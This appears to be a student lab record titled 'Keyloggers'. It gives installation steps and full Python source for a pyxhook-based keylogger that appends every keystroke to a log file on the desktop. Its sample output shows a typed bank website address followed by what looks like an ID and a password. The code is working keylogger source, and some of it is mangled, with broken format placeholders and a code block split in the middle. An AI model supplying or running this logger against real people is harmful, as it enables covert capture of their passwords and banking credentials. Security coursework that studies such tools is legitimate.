

**EXP NO:7**

**DATE:**

## **KEYLOGGERS**

**AIM:**

To write a python program to implement keylogger to record keystrokes in Linux.

**ALGORITHM:**

**Step 1:** Check if python-xlib is installed. If not, type the command:

`dnf install python-xlib -y`.

**Step 2:** Run the pyxhook file using the command: `python pyxhook.py`.

**Step 3:** Create a file named `key.py`.

**Step 4:** Run `key.py` to record all keystrokes.

**Step 5:** Open the `file.log` file to view all the recorded keystrokes.

**PROGRAM:**

```
import os
import pyxhook

log_file = os.environ.get('pylogger_file', os.path.expanduser('~/Desktop/file.log'))

cancel_key = ord(os.environ.get('pylogger_cancel', '~')[0])

if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
        pass

def OnKeyPress(event):
    with open(log_file, 'a') as f:
```

```
f.write('{}\n'.format(event.Key))

new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress

new_hook.HookKeyboard()

try:
    new_hook.start()
except KeyboardInterrupt:
    pass
except Exception as ex:
    msg = 'Error while catching events:\n{ }'.format(ex)
    with open(log_file, 'a') as f:
        f.write('\n{ }'.format(msg))
```

**OUTPUT:**

```
w
w
w
period
h
d
f
c
b
a
n
k
period
c
o
m
Return
3
```

0

0

9

1

2

3

Shift\_L

I

n

d

i

a

9

0

Shift\_L

dollar

percent

**RESULT:**